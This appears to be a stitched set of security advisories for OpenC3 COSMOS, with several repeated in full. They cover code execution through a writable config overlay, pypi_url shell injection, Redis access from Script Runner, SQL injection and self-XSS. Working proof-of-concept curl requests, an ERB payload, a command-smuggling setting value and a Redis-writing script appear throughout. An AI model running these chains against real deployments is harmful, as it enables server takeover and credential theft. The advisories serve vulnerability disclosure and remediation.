Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]      # runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token:

   POST /openc3-api/auth/verify    {"password":"<password>"}
   

2. Write the setting (JSON-RPC):

   POST /openc3-api/api
   {"jsonrpc":"2.0","method":"set_setting",
    "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
    "keyword_params":{"scope":"DEFAULT"},"id":1}
   

3. Upload a plugin gem that contains a requirements.txt:

   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)
   

4. Install it:

   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)
   

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Vulnerability Type: Execution with Unnecessary Privileges Attack type: Authenticated remote Impact: Data disclosure/manipulation, privilege escalation Affected components: The following docker images: • Openc3inc/openc3-COSMOS-script-runner-api

The Script Runner widget allows users to execute Python and Ruby scripts directly from the openc3-COSMOS-script-runner-api container. Because all the docker containers share a network, users can execute specially crafted scripts to bypass the API permissions check and perform administrative actions, including reading and modifying data inside the Redis database, which can be used to read secrets and change COSMOS settings, as well as read and write to the buckets service, which holds configuration, log, and plugin files. These actions are normally only available from the Admin Console or with administrative privileges. Any user with permission to create and run scripts can connect to any service in the docker network.

Figure 1: Environment variables, including Redis credentials, found in the Script Runner container A Ruby script is used to expose the Redis username, password, hostname, and port. These credentials might also be found from the source code or through a brute-force attack.

Figure 2: A Python script is used to add data to Redis and retrieve the new data A Python script is then used to create a new entry in the Redis database called openc3__settings_hacked with a key of store_url and a value of http://hacked.com.

Figure 3: The new data found in the Redis database The new entry was successfully added to the Redis database, as is confirmed by using redis-cli. The following example shows how an attacker might change the plugin store URL file that is stored in the config bucket.

Figure 4: Uploading file to change the plugin store URL setting

Figure 5: The URL file was successfully changed

Steps To Reproduce

1. Run the following Ruby code to find the Redis credentials:

puts `env | grep redis`

3. Add the following Python script with the credentials to create a new entry and read it

import redis
import json
import time

r = redis.Redis(
    host = 'openc3-redis',
    port = 6379,
    username = 'openc3', 
    password = 'openc3password',  
    decode_responses=True
)

# Save a setting
setting_data = {
    'name': 'store_url',
    'data': 'http://hacked.com',
    'updated_at': time.time_ns()
}
r.hset('openc3__settings_hacked','store_url',json.dumps(setting_data))
print(r.hget('openc3__settings_hacked','store_url'))

Recommendations

• Limit the permissions of the script runner API to prevent lower level users from performing administrative actions

Vulnerability Type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Attack type: Authenticated remote Impact: Telemetry data disclosure and deletion Affected components: openc3-tsdb (QuestDB)

A SQL injection vulnerability exists in the Time-Series Database (TSDB) component of COSMOS. The tsdb_lookup function in the cvt_model.rb file directly places user-supplied input into a SQL query without sanitizing the input. As a result, a user can break out of the initial SQL statement and execute arbitrary SQL commands, including deleting data.

Figure 1: Source code vulnerable to SQL injection Additionally, the get_tlm_values RPC endpoint only requires “tlm” permissions, allowing any user with the Admin, Operator, Viewer, or Runner roles to send a request to the TSDB. This permission is defined in roles-permissions.md to allow for the user to view telemetry data, but this vulnerability also allows them to delete data and tables.

Figure 2: Source code showing the required permissions for the get_tlm_values endpoint Sending a normal request to the endpoint brings back a single array of values for the parameter:

Figure 3: A normal request to the get_tlm_values endpoint However, sending a specially crafted request within the start_time variable brings back all the data in the database:

Figure 4: The request and response after sending the SQL injection payload This payload can be modified to executes SQL commands in the TSDB.

Figure 5: SQL injection used to execute arbitrary SQL command The user can then delete all the historical data in the database:

Figure 6: Example payload dropping the tables

Steps to Reproduce

1. Capture a JSON-RPC request to the get_tlm_values endpoint.
2. Add the start_time key to the request body and place the following in the value:

‘ OR 1=1 --

3. Retrieve all database data.

Recommendations

• Sanitize all user-supplied input before executing it • Use prepared statements with parameterized queries when executing SQL statements

Summary

The Command Sender UI uses an unsafe eval() function on array-like command parameters, which allows a user-supplied payload to execute in the browser when sending a command. This creates a self-XSS risk because an attacker can trigger their own script execution in the victim’s session, if allowed to influence the array parameter input, for example via phishing. If successful, an attacker may read or modify data in the authenticated browser context, including session tokens in local storage.

Details

The unsafe eval() usage on user-supplied ARRAY parameters happens in convertToValue method in CommandSender.vue

PoC

1. Using a drop-down form, choose any command that supports ARRAY parameters,
2. Inside square brackets “[…]” place a JavaScript code to be executed
3. Send command to CmdTlmServer using dedicated “Send” button
4. Observe JavaScript code being executed in the current browser session context

Below example uses INST ARYCMD to execute simple JavaScript code snippet alert(“XSS”).

Impact

Local JavaScript execution in the user's browser

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]      # runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token:

   POST /openc3-api/auth/verify    {"password":"<password>"}
   

2. Write the setting (JSON-RPC):

   POST /openc3-api/api
   {"jsonrpc":"2.0","method":"set_setting",
    "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
    "keyword_params":{"scope":"DEFAULT"},"id":1}
   

3. Upload a plugin gem that contains a requirements.txt:

   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)
   

4. Install it:

   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)
   

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Summary

OpenC3 COSMOS contains a design flaw in the save_tool_config() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory.

Details

In function save_tool_config() (local_mode.rb) responsible for saving user-supplied tool configuration, the desired saving directory is not sufficiently enforced, instead allowing writes inside entire OPENC3_LOCAL_MODE_PATH.

PoC

1. Navigate to any tool that enables “Save Configuration” option in left-hand drop-down menu (here Limits Monitor as an example)
2. Save a new config with path traversal name using “../” sequences to escape desired directory (up to 3 levels high)
3. Observe new files created in /plugins directory by inspecting docker container directly (openc3-COSMOS-cmd-tlm-api) or using Bucket Explorer (plugin_default)

Impact

Modifying the data of other plugins

Summary

The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account.

Details

The design flaw in authentication model (authentication.rb) allows for interchangeable use of password and session tokens for user authentication As old tokens are not revoked upon password reset, an attacker who has obtained a valid session token can continue to authenticate and change the account’s password even after the victim resets it, thereby maintaining persistent control over the compromised account.

PoC

1. Attacker is logged in user account with hijacked valid session token, but not knowing the actual password
2. Legitimate user, as preventive action, changes his password (password123) using old password (password), that he knows, then establishes new session
3. Attacker issues another password change request (in web proxy like Burp) supplying his still valid token as old_password, changing it to attacker-password, from this point preventing any other legitimate users from accessing account

Impact

Persistence of an attacker who obtained valid session token and preventing legitimate users from account access

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]      # runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

